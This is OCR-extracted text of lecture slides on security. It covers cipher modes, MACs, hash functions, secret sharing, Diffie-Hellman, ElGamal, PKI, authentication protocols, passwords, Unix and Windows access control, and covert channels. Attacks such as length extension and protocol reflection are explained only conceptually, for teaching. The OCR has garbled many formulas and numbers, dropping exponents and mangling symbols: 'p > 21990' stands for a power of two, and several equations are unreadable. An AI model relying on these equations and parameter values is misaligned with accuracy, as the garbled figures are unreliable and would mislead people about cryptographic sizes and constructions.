stream by encrypting an easy to generate sequence of mutually different
blocks, such as the natural numbers encoded as n-bit binary values, plus
some offset O:

C=P @ EK(O—‘r l)

The offset O is chosen randomly for each message and transmitted or
stored with it like an initial vector. The operation O + i can be addition
in Zan or GF(2").
Advantages:

@ allows fast random access

@ can be parallelized

@ low latency

@ no padding required

@ no risk of short cycles
Today, Counter Mode is generally preferred over CBC, CBF, and OFB.
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Message Authentication Code (MAC)

A MAC is the cryptographic equivalent of a checksum, which only those

who know K can generate, to protect the integrity of data. Anyone who

shares the secret key K with the sender can recalculate the MAC over the
received message and compare the result.

Py P> Pm
J ' '
—@ —D

' '

Ex Ey ... Ex

N I {

CBC-MACg, (P)

A modification of CBC provides one form of MAC. The initial vector is
set to a fixed value (e.g., 0), and C, of the CBC calculation is attached
to the transmitted plaintext.

CBC-MAC is only secure for fixed message lengths. One fix known as ECBC-MAC encrypts the

CBC-MAC result once more, with a separate key. .



A one-time MAC (Carter-Wegman)

The following MAC scheme is very fast and unconditionally secure, but
only if the key is used to secure only a single message.

Let F be a large finite field (e.g. Zys 5, or GF(2128)).
@ Pick a random key pair K = (K1, K») € F?
@ Split padded message P into blocks Py,...,P, € F
@ Evalutate the following polynomial over I to obtain the MAC:

OT-MACk, k,(P) = K™ 4+ PpK™ + -+ + P,K2 + P K; + Ko

Converted into a computationally secure many-time MAC:
@ Pseudo-random function/permutation Ex : F — F
@ Pick per-message random value R € F
o CW-MACk, x,(P) = (R, K" '+ P K"+ - -4+ Py K2+ P1 K1+ Ex, (R))

M. Wegman and L. Carter. New hash functions and their use in authentication and set equality.
Journal of Computer and System Sciences, 22:265279, 1981.

59



Galois Counter Mode (GCM)

CBC and CBC-MAC used together require different keys, resulting in two
encryptions per block of data.

Galois Counter Mode is a more efficient authenticated encryption
technique that requires only a single encryption, plus one XOR & and
one multiplication ®, per block of data:

¢ = P;@EK(O—I-i)
G = (G,;l@ci)@)f'l7 Go=A®H, HZEK(O)
GMACE, (A, C) = ((Go @ (len(A)||len(C))) ® H) & Ex(O)

A is authenticated, but not encrypted (e.g., message header).

The multiplication ® is over the Galois field GF(21?8): block bits are
interpreted as coefficients of binary polynomials of degree 127, and the
result is reduced modulo x*?8 4 x7 4+ x? 4+ x + 1.

This is like 128-bit modular integer multiplication, but without carry bits,
and therefore faster in hardware.
http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
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Secure hash functions

A hash function h: {0,1}* — {0,1}" efficiently maps arbitrary-length
input bit strings onto (usually short) fixed-length bitstrings such that the
output is uniformly distributed (for non-repeating input values).

Hash functions are commonly used for fast table lookup or as checksums.

A secure n-bit hash function is in addition expected to offer the following
properties:

@ Preimage resistance (one-way): For a given value y, it is
computationally infeasible to find x with h(x) = y.

@ Second preimage resistance (weak collision resistance): For a given
value x, it is computationally infeasible to find x’ with h(x’) = h(x).

@ Collision resistance: It is computationally infeasible to find a pair
x # y with h(x) = h(y).
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Secure hash functions: standards

e MD5: n=128
still widely used today, but collisions were found in 2004
http://www.ietf.org/rfc/rfc1321.txt

@ SHA-1: n=160
widely used today in many applications, but 2%9-step algorithm to
find collisions found in 2005, being phased out

@ SHA-2: n =224, 256, 384, or 512
close relative of SHA-1, therefore long-term collision-resistance
questionable, best existing standard

FIPS 180-3 US government secure hash standard,
http://csrc.nist.gov/publications/fips/

@ SHA-3: KEcCAK wins 5-year NIST contest in October 2012
no length-extension attack, arbitrary-length output,
can also operate as PRNG, very different from SHA-1/2.
(other finalists: BLAKE, Grgstl, JH, Skein)

http://csrc.nist.gov/groups/ST/hash/sha-3/
http://keccak.noekeon.org/
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Secure hash functions: Merkle-Damgard construction

Fast secure hash functions such as MD5 or SHA-1 are based on a PRF
C:{0,1}" x {0,1}* — {0,1}" called compression function.

First, the input bitstring X is padded in an unambiguous way to a
multiple of the compression function’s input block size k. If we would
just add zero bits for padding, for instance, then the padded versions of
two strings which differ just in the number of trailing “zero” bits would
be indistinguishable (10101 + 000 = 10101000 = 1010100 + 0). By
padding with a “one” bit (even if the length was already a multiple of k
bits!), followed by between 0 and k — 1 “zero” bits, the padding could
always unambiguously be removed and therefore this careful padding
destroys no information.

Then the padded bitstring X’ is split into m k-bit blocks Xi, ..., Xy, and
the n-bit hash value H(X) = H, is calculated via the recursion

H; = C(H;-1, Xi)

where Hy is a constant n-bit start value.
MD5 and SHA-1 for instance use block sizes of k = 512 bits.
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One-way function from block cipher (Davies—Meyer)

A block cipher can be turned into a one-way function by XORing the
input onto the output. This prevents decryption, as the output of the
blockcipher cannot be reconstructed from the output of the one-way

function.

X —L | Ex |=®—| Hk(X)

Another way of getting a one-way function is to use the input as a key in
a block cipher to encrypt a fixed value.

Both approaches can be combined to use a block cipher E as the
compression function in a secure hash function:

Hi = Ex.(Hi—1) ® Hi—1
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Birthday paradox

With 23 random people in a room, there is a 0.507 chance that two share
a birthday. This perhaps surprising observation has important
implications for the design of cryptographic systems.

If we randomly throw k balls into n bins, then the probability that no bin
contains two balls is

(2 () () )t

It can be shown that this probability is less than % if k is slightly above
\/n. As n — oo, the expected number of balls needed for a collision is
nm/2.

One consequence is that if a 2" search is considered sufficiently
computationally infeasible, then the output of a collision-resistant hash
function needs to be at least 2n bits large.
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Hash-based message authentication code

Hash a message M concatenated with a key K:

MACk (M) = h(K, M)
This construct is secure if h is a pseudo-random function or is a modern
secure hash function such as SHA-3.

Danger: If h uses the Merkle~-Damgard construction, an attacker can
call the compression function again on the MAC to add more blocks to
M, and obtain the MAC of a longer M’ without knowing the key!

To prevent such a message-extension attack, variants like
MACK (M) = h(h(K, M))

can be used to terminate the iteration of the compression function in a
way that the attacker cannot continue.
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HMAC

HMAC is a standardized technique that is widely used to calculate a
message-authentication code using a Merkle-Damgard-style secure hash
function h, such as MD5 or SHA-1:

HMACx = h(K & X1, h(K & Xz, M))
The fixed padding values X1, X5 used in HMAC extend the length of the
key to the input size of the compression function, thereby permitting

precomputation of its first iteration.
http://www.ietf.org/rfc/rfc2104.txt
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More applications of secure has

Password hash chain

Ry = random
R,'+1 = h(R,) (0 <i< n)
Store R, in a host and give list R,_1, R,_2, ..., Ry as one-time passwords

to user. When user enters password R;_1, its hash h(R;_1) is compared
with the password R; stored on the server. If they match, the user is
granted access and R;_1 replaces R;.

Leslie Lamport: Password authentication with insecure communication. CACM 24(11)770-772,
1981. http://doi.acm.org/10.1145/358790.358797

Proof of prior knowledge / secure commitment

You have today an idea that you write down in message M. You do not
want to publish M yet, but you want to be able to prove later that you
knew M already today. So you publish h(M) today.

If the entropy of M is small (e.g., M is a simple password), there is a risk that h can be inverted
successfully via brute-force search. Solution: publish h(N, M) where N is a random bit string (like
a key). When the time comes to reveal M, also reveal N. Publishing h(N, M) can also be used to
commit yourself to M, without revealing it yet.
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More applications of secure hash functions Il

Hash tree

Leaves contain hash values of messages, each inner node contains the
hash of the concatenated values in the child nodes directly below it.

Advantages of tree over hashing concatenation of all messages:

@ Update of a single message requires only recalculation of hash values
along path to root.

@ Verification of a message requires only knowledge of values in all
direct children of nodes in path to root.

One-time signatures

Secret key: 2n random bit strings R;; (i € {0,1},1 <j < n)
Public key: 2n bit strings h(R; ;)

Signature: (Rp,.1, Rb,2, - s Rb,,n), Where h(M) = bib, ... b,

70



More applications of secure hash functions Il

Stream authentication

Alice sends to Bob a long stream of messages My, Mo, ..., M,. Bob
wants to verify Alice’s signature on each packet immediately upon arrival,
but it is too expensive to sign each message individually.

Alice calculates

G = h(G, M)
G = h(G,M)
G = h(Cy, Ms)
C, = h(0,M,)

and then sends to Bob the stream
Gy, Signature( Cy), (G, My), (G5, My), ..., (0, M,).
Only the first check value is signed, all other packets are bound together

in a hash chain that is linked to that single signature.
71



Secret sharing

A (t, n) secret sharing scheme is a mechanism to distribute shares
S1,...,S, of a secret key S (0 < S < m) among parties Py, ..., P, such
that any t of them can together reconstruct the key, but any group of

t — 1 cannot.

Unanimous consent control — (n, n) secret sharing

@ For all 1 </ < n generate random number 0 < S; < m and give it
to P;.

o Give 5, =S5 — 27:_11 S; mod m to P,.
@ Recover secret as S =>_"_; S; mod m.

Can also be implemented with bitstrings and XOR instead of modular
arithmetic.
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Secret sharing — Shamir's threshold scheme

@ Choose a prime p > max(S, n).

@ Choose a polynomial
t—1
()= ax
j=0

with ag = S and random numbers 0 < a; < p (1 <j < t).
@ Forall 1 < i< ncompute S; = f(i) mod p and give it to P;.
@ Recover secret S = f(0) by Lagrange interpolation of f through any
t points (x;,y;) = (i, S;). Note that deg(f) =t — 1.
Lagrange interpolation:
If (x;,y;) for 1 < i <t are points of a polynomial f with deg(f) < t:
X=X
S ] A
1<j<t
J#i
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Diffie-Hellman key exchange

How can two parties achieve message confidentiality who have no prior
shared secret and no secure channel to exchange one?

Select a suitably large prime number p and a generator g € Z,
(2 < g < p—2), which can be made public. A generates x and B

generates y, both random numbers out of {1,...,p —2}.
A— B: g¥ mod p
B—A: g”¥ mod p

Now both can form (g*)” = (g”)* and use a hash of it as a shared key.

The eavesdropper faces the Diffie-Hellman Problem of determining g’
from g*, g¥ and g, which is believed to be equally difficult to the
Discrete Logarithm Problem of finding x from g* and g in Z;. This is
infeasible if p > 21990 and p — 1 has a large prime factor.

The DH key exchange is secure against a passive eavesdropper, but not
against middleperson attacks, where g* and g” are replaced by the

attacker with other values.
W. Diffie, M.E. Hellman: New Directions in Cryptography. |IEEE IT-22(6), 1976-11, pp 644—-654.
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ElGamal encryption

The DH key exchange requires two messages. This can be eliminated if
everyone publishes his g* as a public key in a sort of phonebook.

If A has published (p, g, g*) as her public key and kept x as her private
key, then B can also generate for each message a new y and send

B—A: g” mod p, (g¥)” - M mod p

where M € Z, is the message that B sends to A in this asymmetric
encryption scheme. Then A calculates

(&%) -M]-[(g")" ] mod p=M

to decrypt M.

In practice, M is again not the real message, but only the key for an
efficient block cipher that protects confidentiality and integrity of the
bulk of the message (hybrid cryptography).

With the also widely used RSA asymmetric cryptography scheme, encryption and decryption
commute. This allows the owner of a secret key to sign a message by “decrypting” it with her
secret key, and then everyone can recover the message and verify this way the signature by
“encrypting” it with the public key.
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ElGamal signature

Asymmetric cryptography also provides digital signature algorithms,
where only the owner of a secret key can generate a signatures for a
message M that can be verified by anyone with the public key.

If A has published (p, g, g*) as her public key and kept x as her private
key, then in order to sign a message M € Z, (usually hash of real
message), she generates a random number y (with 0 <y < p—1 and
ged(y, p — 1) = 1) and solves the linear equation

x-g+y-s=M (modp-—1) (1)
for s and sends to the verifier B the signed message
A— B: M, g¥ mod p, s=(M—x-g¥)/y mod (p—1)

who will raise g to the power of both sides of (1) and test the resulting
equation:

(&) (&) =g (mod p)

Warning: Unless p and g are carefully chosen, EIGamal signatures can be vulnerable to forgery:
D. Bleichenbacher: Generating EIGamal signatures without knowing the secret key.
EUROCRYPT '96. http://www.springerlink.com/link.asp?id=xbwmvOb564gwlq7a
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Public-key infrastructure |

Public key encryption and signature algorithms allow the establishment of
confidential and authenticated communication links with the owners of
public/private key pairs.

Public keys still need to be reliably associated with identities of owners.
In the absence of a personal exchange of public keys, this can be
mediated via a trusted third party. Such a certification authority C issues
a digitally signed public key certificate

CertC(A) = {A, Ka, T, L}Kgl

in which C confirms that the public key K4 belongs to A starting at time
T and that this confirmation is valid for the time interval L, and all this

is digitally signed with C’s private signing key K(_Tl.

Anyone who knows C's public key K¢ from a trustworthy source can use
it to verify the certificate Certc(A) and obtain a trustworthy copy of A's
key Ka this way.
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Public-key infrastructure |l

We can use the operator e to describe the extraction of A's public key Kz
from a certificate Certc(A) with the certification authority public key K¢:

| Ka if certificate valid
K e Certc(A) = { failure otherwise

The e operation involves not only the verification of the certificate
signature, but also the validity time and other restrictions specified in the
signature. For instance, a certificate issued by C might contain a
reference to an online certificate revocation list published by C, which
lists all public keys that might have become compromised (e.g., the
smartcard containing K;* was stolen or the server storing K, ' was
broken into) and whose certificates have not yet expired.
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Public-key infrastructure Il

Public keys can also be verified via several trusted intermediaries in a
certificate chain:

Kc, o Certe, () o Certe,(Cs) @ - - - @ Certc,_,(C,) @ Certc,(B) = Kg

A has received directly a trustworthy copy of K¢, (which many
implementations store locally as a certificate Certa(C;) to minimise the
number of keys that must be kept in tamper-resistant storage).

Certification authorities can be made part of a hierarchical tree, in which
members of layer n verify the identity of members in layer n — 1 and

n+ 1. For example layer 1 can be a national CA, layer 2 the computing

services of universities and layer 3 the system administrators of individual
departments.

Practical example: A personally receives K¢, from her local system administrator C;, who
confirmed the identity of the university’s computing service C; in Certc, (C2), who confirmed the
national network operator C3, who confirmed the IT department of B’s employer C3 who finally
confirms the identity of B. An online directory service allows A to retrieve all these certificates
(plus related certificate revocation lists) efficiently.
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Some popular Unix cryptography tools

@ ssh [user@lhostname [command] — Log in via encrypted link to
remote machine (and if provided execute “command”’). RSA or DSA
signature is used to protect Diffie-Hellman session-key exchange and
to identify machine or user. Various authentication mechanisms, e.g.
remote machine will not ask for password, if user's private key
(~/.ssh/id_rsa) fits one of the public keys listed in the home
directory on the remote machine (~/.ssh/authorized_keys).
Generate key pairs with ssh-keygen.
http://wuw.openssh.org/

@ pgp, gpg — Offer both symmetric and asymmetric encryption,
digital signing and generation, verification, storage and management
of public-key certificates in a form suitable for transmission via email.
http://www.gnupg.org/, http://www.pgpi.org/

@ openssl — Tool and library that implements numerous standard
cryptographic primitives, including AES, X.509 certificates, and
SSL-encrypted TCP connections.
http://www.openssl.org/
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|dentification and entity authentication

Needed for access control and auditing. Humans can be identified by

@ something they are

Biometric identification: iris texture, retina pattern, face or fingerprint recognition, finger or
hand geometry, palm or vein patterns, body odor analysis, etc.

@ something they do

handwritten signature dynamics, keystroke dynamics, voice, lip motion, etc.

@ something they have
Access tokens: physical key, id card, smartcard, mobile phone, PDA, etc.

@ something they know

Memorised secrets: password, passphrase, personal identification number (PIN), answers to
questions on personal data, etc.

@ where they are

Location information: terminal line, telephone caller ID, Internet address, mobile phone or
wireless LAN location data, GPS

For high security, several identification techniques need to be combined
to reduce the risks of false-accept/false-reject rates, token theft,
carelessness, relaying and impersonation.
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Passwi / PINs |

Randomly picked single words have low entropy, dictionaries have less
than 218 entries. Common improvements:

restrict rate at which passwords can be tried (reject delay)
monitor failed logins

require minimum length and inclusion of digits, punctuation, and
mixed case letters

suggest recipes for difficult to guess choices (entire phrase, initials of
a phrase related to personal history, etc.)

compare passwords with directories and published lists of popular
passwords (person’s names, pet names, brand names, celebrity
names, patterns of initials and birthdays in various arrangements,
etc.)

issue randomly generated PINs or passwords, preferably
pronounceable ones
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Passwords / PINs Il
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Passwi / PINs Il

Other password related problems and security measures:

Trusted path — user must be sure that entered password reaches the
correct software (— Ctrl+Alt+Del on Windows NT aborts any GUI
application and activates proper login prompt)

Confidentiality of password database — instead of saving password P
directly or encrypted, store only h(P), where h is a one-way hash
function — no secret stored on host

Brute-force attacks against stolen password database — store

(S, h"(S]|P)), where a hash function h is iterated n times to make
the password comparison inefficient, and S is a nonce ( “salt value”,
like IV) that is concatenated with P to prevent comparison with
precalculated hashed dictionaries.

PBKDF2 is a widely used password-based key derivation function using this approach.

Eavesdropping — one-time passwords, authentication protocols.

@ Inconvenience of multiple password entries — single sign-on.
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Authentication protocols

Alice (A) and Bob (B) share a secret K,p.

Notation: {...}x stands for encryption with key K, h is a one-way hash function, N is a random

number (“nonce”) with the entropy of a secret key, “||” or “” denote concatenation.
Password:
B—A: Kab

Problems: Eavesdropper can capture secret and replay it. A can’t confirm identity of B.
Simple Challenge Response:

A—B: N
B—A: h(Kap|| V) (or {N}k,,)

Mutual Challenge Response:

A B: N,
B—A: {NaaNb}Kab
A—B: Np
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One-time password:
B — A: C, {C}Kab

Counter C increases by one with each transmission. A will not accept a
packet with C < C,1q where Cg1q is the previously accepted value. This is
a common car-key protocol, which provides replay protection without a
transmitter in the car A or receiver in the key fob B.

Key generating key: Each smartcard A; contains its serial number i
and its card key K; = {i}k. The master key K (“key generating key") is
only stored in the verification device B. Example with simple challenge
response:

A;—)BZ i
B— A N

Advantage: Only one single key K needs to be stored in each verification device, new cards can be
issued without updating verifiers, compromise of key K; from a single card A; allows attacker only
to impersonate with one single card number i, which can be controlled via a blacklist. However, if
any verification device is not tamper resistant and K is stolen, entire system can be compromised.



Needham—Schroeder protocol / Kerberos

Trusted third party based authentication with symmetric cryptography:

A—S: A B

S—A: {Ts, L, Kap, B, {Ts, L, Kab, A} k... } K.
A— B: {Ts, L, Kap, A} k.., {A, Tatk,,
B—A: {T:+ 1}k,

User A and server B do not share a secret key initially, but authentication
server S shares secret keys with everyone. A requests a session with B
from S. S generates session key K, and encrypts it separately for both
A and B. These “tickets” contain a timestamp T and lifetime L to limit
their usage time. Similar variants of the Needham-Schroeder protocol are
used in Kerberos and Windows NT, where K, is derived from a user
password. Here the {}x notation implies both confidentiality and
integrity protection, e.g. MAC+CBC.

R. Needham, M. Schroeder: Using encryption for authentication in large networks of computers.
CACM 21(12)993-999,1978. http://doi.acm.org/10.1145/359657.359659
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Authentication protocol attack

Remember simple mutual authentication:

A B: N,
B— A: {NaaNb}Kab
A— B: Ny

Impersonation of B by B’, who intercepts all messages to B and starts a
new session to A simultaneously to have A decrypt her own challenge:

A=B: N,

B —A: N,

A=B': (N, N,

B' > A:  {Na,Np= N},
A=B N,

Solutions: K, # Kp, or include id of originator in second message.
Avoid using the same key for multiple purposes!
Use explicit information in protocol packets where possible!
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Access Control

Discretionary Access Control:

Access to objects (files, directories, devices, etc.) is permitted based on
user identity. Each object is owned by a user. Owners can specify freely
(at their discretion) how they want to share their objects with other

users, by specifying which other users can have which form of access to

their objects.
Discretionary access control is implemented on any multi-user OS (Unix, Windows NT, etc.).

Mandatory Access Control:

Access to objects is controlled by a system-wide policy, for example to
prevent certain flows of information. In some forms, the system
maintains security labels for both objects and subjects (processes, users),
based on which access is granted or denied. Labels can change as the
result of an access. Security policies are enforced without the cooperation
of users or application programs.

This is implemented today in special military operating system versions.
Mandatory access control for Linux: http://www.nsa.gov/research/selinux/
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Discretionary Access Control

In its most generic form usually formalised as an Access Control Matrix
M of the form

M = (Mso)ses,oeo with M, CA

where
S = set of subjects (e.g.: jane, john, sendmail)
O = set of objects (/mail/jane, edit.exe, sendmail)
A = set of access privileges (read, write, execute, append)

/mail/jane | edit.exe | sendmail
jane {rw} {rx} {rx}
john {} {r,w,x} {rx}
sendmail {a} {} {rx}
Columns stored with objects: “access control list”
Rows stored with subjects: “capabilities”
In some implementations, the sets of subjects and objects can overlap.
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Unix/POSIX access control overview

User:
’ user 1D \ group ID \ supplementary group IDs
stored in /etc/passwd and /etc/group, displayed with command id
Process:
effective user ID real user ID saved user ID
effective group ID | real group ID | saved group ID
supplementary group IDs
stored in process descriptor table
File:
owner user 1D group ID
set-user-ID bit | set-group-1D bit
owner RWX group RWX
other RWX “sticky bit"
stored in file's i-node, displayed with 1s -1
$ id
uid=1597 (mgk25) gid=1597 (mgk25) groups=501(wednesday),531(sec-grp)
:riirwi:-x 2 mgk25 sec-grp 4096 2010-12-21 11:22 .
drwxr-x--x 202 mgk25 mgk25 57344 2011-02-07 18:26 ..

“ITWXIWX——— 1 mgk25 sec-grp 2048 2010-12-21 11:22 testb
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Unix/POSIX access control mechanism |

@ Traditional Unix uses a simple form of file access permissions.
Peripheral devices are represented by special files.

o Every user is identified by an integer number (user ID).

@ Every user also belongs to at least one “group”, each of which is
identified by an integer number (group ID).

@ Processes started by a user inherit his/her user ID and group IDs.

@ Each file carries both an owner's user ID and a single group ID.
When a process tries to access a file, the kernel first decides into
which one of three user classes the accessing process falls. If the
process user ID matches the file owner ID then that class is “owner”,
otherwise if one of the group IDs of the process matches the file
group ID then the class is “group”, otherwise the class is “other”.

@ Each file carries nine permission bits: there are three bits defining
“read”, “write”, and “execute” access for each of the three different
user classes “owner”, “group” and “other”.

Only the three permission bits for the user class of the process are consulted by the kernel:
it does not matter for a process in the “owner” class if it is also a member of the group to
which the file belongs or what access rights the “other” class has.
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Unix/POSIX access control mechanism |l

@ For directories, the “read” bit decides whether the names of the files
in them can be listed and the “execute” bit decides whether “search”
access is granted, that is whether any of the attributes and contents
of the files in the directory can be accessed via that directory.

The name of a file in a directory that grants execute/search access, but not read access, can
be used like a password, because the file can only be accessed by users who know its name.

@ Write access to a directory is sufficient to remove any file and empty
subdirectory in it, independent of the access permissions for what is
being removed.

@ Berkeley Unix added a tenth access control bit: the “sticky bit". If
it is set for a directory, then only the owner of a file in it can move
or remove it, even if others have write access to the directory.

This is commonly used in shared subdirectories for temporary files, such as /tmp/ or
/var/spool/mail/.

@ Only the owner of a file can change its permission bits (chmod) and
its group (chgrp, only to a group of which the owner is a member).

@ User ID 0 (“root”) has full access.

This is commonly disabled for network-file-server access (“root squashing”).
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Controlled invocation / elevated rights |

Many programs need access rights to files beyond those of the user.

Example

The passwd program allows a user to change her password and therefore
needs write access to /etc/passwd. This file cannot be made writable to
every user, otherwise everyone could set anyone's password.

Unix files carry two additional permission bits for this purpose:
@ set-user-ID — file owner ID determines process permissions
@ set-group-1D — file group ID determines process permissions
The user and group ID of each process comes in three flavours:
o effective — the identity that determines the access rights
@ real — the identity of the calling user

@ saved — the effective identity when the program was started



Controlled invocation / elevated rights Il

A normal process started by user U will have the same value U stored as
the effective, real, and saved user ID and cannot change any of them.

When a program file owned by user O and with the set-user-ID bit set is
started by user U, then both the effective and the saved user ID of the
process will be set to O, whereas the real user ID will be set to U. The
program can now switch the effective user ID between U (copied from
the real user id) and O (copied from the saved user id).

Similarly, the set-group-1D bit on a program file causes the effective and

saved group ID of the process to be the group ID of the file and the real
group ID remains that of the calling user. The effective group ID can then
as well be set by the process to any of the values stored in the other two.

This way, a set-user-ID or set-group-ID program can freely switch
between the access rights of its caller and those of its owner.

The 1s tool indicates the set-user-ID or set-group-ID bits by changing

the corresponding “x" into “s". A set-user-ID root file:
-TWST-Xr-X 1 root system 222628 Mar 31 2001 /usr/bin/X11/xterm
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Problem: Proliferation of root privileges

Many Unix programs require installation with set-user-ID root, because
the capabilities to access many important system functions cannot be
granted individually. Only root can perform actions such as:

@ changing system databases (users, groups, routing tables, etc.)

@ opening standard network port numbers < 1024

@ interacting directly with peripheral hardware

@ overriding scheduling and memory management mechanisms
Applications that need a single of these capabilities have to be granted
all of them. If there is a security vulnerability in any of these programs,

malicious users can often exploit them to gain full superuser privileges as

a result.

On the other hand, a surprising number of these capabilities can be used with some effort on their
own to gain full privileges. For example the right to interact with harddisks directly allows an
attacker to set further set-uid-bits, e.g. on a shell, and gain root access this way. More fine-grain
control can create a false sense of better control, if it separates capabilities that can be
transformed into each other.
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Windows access control |

Microsoft's Windows NT /2000/XP/Vista/7/... provides an example for
a considerably more complex access control architecture.

All accesses are controlled by a Security Reference Monitor. Access
control is applied to many different object types (files, directories,
registry keys, printers, processes, user accounts, etc.). Each object type
has its own list of permissions. Files and directories on an NTFS
formatted harddisk, for instance, distinguish permissions for the following
access operations:

Traverse Folder/Execute File, List Folder/Read Data, Read

Attributes, Read Extended Attributes, Create Files/Write Data,

Create Folders/Append Data, Write Attributes, Write Extended

Attributes, Delete Subfolders and Files, Delete, Read

Permissions, Change Permissions, Take Ownership

Note how the permissions for files and directories have been arranged for POSIX compatibility.

As this long list of permissions is too confusing in practice, a list of
common permission options (subsets of the above) has been defined:

Read, Read & Execute, Write, Modify, Full Control
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Windows access control Il

Every user or group is identified by a security identification number
(SID), the NT equivalent of the Unix user ID.

Every object carries a security descriptor (the NT equivalent of the access
control information in a Unix i-node) with

@ SID of the object’s owner
@ SID of the object’s group (only for POSIX compatibility)
@ Discretionary Access Control List, a list of ACEs
@ System Access Control List, for SystemAudit ACEs
Each Access Control Entry (ACE) carries
@ a type (AccessDenied, AccessAllowed)
@ a SID (representing a user or group)
@ an access permission mask (read, write, etc.)

o five bits to control ACL inheritance (see below)

Windows tools for editing ACLs (e.g., Windows Explorer GUI) usually place all non-inherited
(explicit) ACEs before all inherited ones. Within these categories, GUI interfaces with allow/deny
buttons also usually place all AccessDenied ACEs before all AccessAllowed ACEs in the ACL,
thereby giving them priority. However, AccessAllowed ACEs before AccessDenied ACEs may be
needed to emulate POSIX-style file permissions. Why?
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Windows access control Il

Requesting processes provide a desired access mask. With no DACL

present, any requested access is granted. With an empty DACL, no

access is granted. All ACEs with matching SID are checked in sequence,

until either all requested types of access have been granted by

AccessAllowed entries or one has been denied in an AccessDenied entry:
AccessCheck(Acl: ACL,

DesiredAccess : AccessMask,
PrincipalSids : SET of Sid)

VAR
Denied : AccessMask = (;
Granted : AccessMask = (;
Ace : ACE;

foreach Ace in Acl
if Ace.SID € PrincipalSids and not Ace.inheritonly
if Ace.type = AccessAllowed
Granted = Granted U (Ace.AccessMask - Denied);
else Ace.type = AccessDenied
Denied = Denied U (Ace.AccessMask - Granted);
if DesiredAccess C Granted
return SUCCESS;
return FAILURE;
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Windows ACL inheritance |

Windows 2000/etc. implements static inheritance for DACLs:
Only the DACL of the file being accessed is checked during access.

The alternative, dynamic inheritance, would also consult the ACLs of ancestor directories along the
path to the root, where necessary.

New files and directories inherit their ACL from their parent directory
when they are created.

Five bits in each ACE indicate whether this ACE
@ Container inherit — will be inherited by subdirectories
@ Object inherit — will be inherited by files
@ No-propagate — inherits to children but not grandchildren
@ Inherit only — does not apply here
@ Inherited — was inherited from the parent

In addition, the security descriptor can carry a protected-DACL flag that
protects its DACL from inheriting any ACEs.
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Windows ACL inheritance Il

When an ACE is inherited (copied into the ACL of a child), the following
adjustments are made to its flags:
@ ‘“inherited” is set
o if an ACE with “container inherit” is inherited to a subdirectory,
then “inherit only” is cleared, otherwise if an ACE with “object
inherit” is inherited to a subdirectory, “inherit only” is set

@ if “no-propagate” flag was set, then “container inherit” and “object
inherit" are cleared

If the ACL of a directory changes, it is up to the application making that
change (e.g., Windows Explorer GUI, icacls, SetACL) to traverse the
affected subtree below and update all affected inherited ACEs there
(which may fail due to lack of Change Permissions rights).

The “inherited” flag ensures that during that directory traversal, all
inherited ACEs can be updated without affecting non-inherited ACEs that

were explicitely set for that file or directory.

M. Swift, et al.: Improving the granularity of Access Control for Windows 2000.
ACM Transactions on Information and System Security 5(4)398-437, 2002.
http://dx.doi.org/10.1145/5681271.581273
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Windows access control: auditing, defaults, services

SystemAudit ACEs can be added to an object’s security descriptor to
specify which access requests (granted or denied) are audited.

Users can also have capabilities that are not tied to specific objects (e.g.,
bypass traverse checking).

Default installations of Windows NT used no access control lists for
application software, and every user and any application could modify
most programs and operating system components (— virus risk). This
changed in Windows Vista, where users normally work without
administrator rights.

Windows NT has no support for giving elevated privileges to application
programs. There is no equivalent to the Unix set-user-ID bit.

A “service" is an NT program that normally runs continuously from when
the machine is booted to its shutdown. A service runs independent of
any user and has its own SID.

Client programs started by a user can contact a service via a
communication pipe, and the service can not only receive commands and
data via this pipe, but can also use it to acquire the client’s access

permissions temporarily.
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Principle of least privilege

Ideally, applications should only have access to exactly the objects and
resources they need to perform their operation.

Transferable capabilities

Some operating systems (e.g., KeyKOS, EROS, IBM AS/400, Mach)
combine the notion of an object's name/reference that is given to a
subject and the access rights that this subject obtains to this object into
a single entity:

capability = (object-reference, rights)

Capabilities can be implemented efficiently as an integer value that
points to an entry in a tamper-resistant capability table associated with
each process (like a POSIX file descriptor). In distributed systems,
capabilities are sometimes implemented as cryptographic tokens.

Capabilities can include the right to be passed on to other subjects. This
way, S; can pass an access right for O to S, without sharing any of its
other rights. Problem: Revocation?
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Mandatory Access Control policies |

Restrictions to allowed information flows are not decided at the user's
discretion (as with Unix chmod), but instead enforced by system policies.

Mandatory access control mechanisms are aimed in particular at
preventing policy violations by untrusted application software, which
typically have at least the same access privileges as the invoking user.

Simple examples:
@ Air Gap Security
Uses completely separate network and computer hardware for
different application classes.
Examples:

e Some hospitals have two LANs and two classes of PCs for accessing
the patient database and the Internet.

o Some military intelligence analysts have several PCs on their desks to
handle top secret, secret and unclassified information separately.
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Mandatory Access Control policies Il

No communication cables are allowed between an air-gap security
system and the rest of the world. Exchange of storage media has to
be carefully controlled. Storage media have to be completely
zeroised before they can be reused on the respective other system.

@ Data Pump/Data Diode
Like “air gap” security, but with one-way communication link that
allow users to transfer data from the low-confidentiality to the
high-confidentiality environment, but not vice versa. Examples:
o Workstations with highly confidential material are configured to have

read-only access to low confidentiality file servers.
What could go wrong here?

o Two databases of different security levels plus a separate process
that maintains copies of the low-security records on the high-security
system.
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Bell/LaPadula model

Formal policy model for mandatory access control in a military multi-level
security environment.

All subjects (processes, users, terminals) and data objects (files,
directories, windows, connections) are labeled with a confidentiality level,
e.g. UNCLASSIFIED < CONFIDENTIAL < SECRET < TOP SECRET.

The system policy automatically prevents the flow of information from
high-level objects to lower levels. A process that reads TOP SECRET data
becomes tagged as TOP SECRET by the operating system, as will be all
files into which it writes afterwards. Each user has a maximum allowed
confidentiality level specified and cannot receive data beyond that level.
A selected set of trusted subjects is allowed to bypass the restrictions, in
order to permit the declassification of information.

Implemented in US DoD Compartmented Mode Workstation, Orange Book Class B.

L.J. LaPadula, D.E. Bell, Journal of Computer Security 4 (1996) 239-263.
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The covert channel problem

Reference monitors see only intentional communications channels, such as
files, sockets, memory. However, there are many more “covert channels”,
which were neither designed nor intended to transfer information at all. A
malicious high-level program can use these to transmit high-level data to
a low-level receiving process, who can then leak it to the outside world.

SETUES

@ Resource conflicts — If high-level process has already created a file F, a low-level
process will fail when trying to create a file of same name — 1 bit information.

@ Timing channels — Processes can use system clock to monitor their own progress
and infer the current load, into which other processes can modulate information.

@ Resource state — High-level processes can leave shared resources (disk head
position, cache memory content, etc.) in states that influence the service
response times for the next process.

@ Hidden information in downgraded documents — Steganographic embedding
techniques can be used to get confidential information past a human downgrader
(least-significant bits in digital photos, variations of
punctuation/spelling/whitespace in plaintext, etc.).

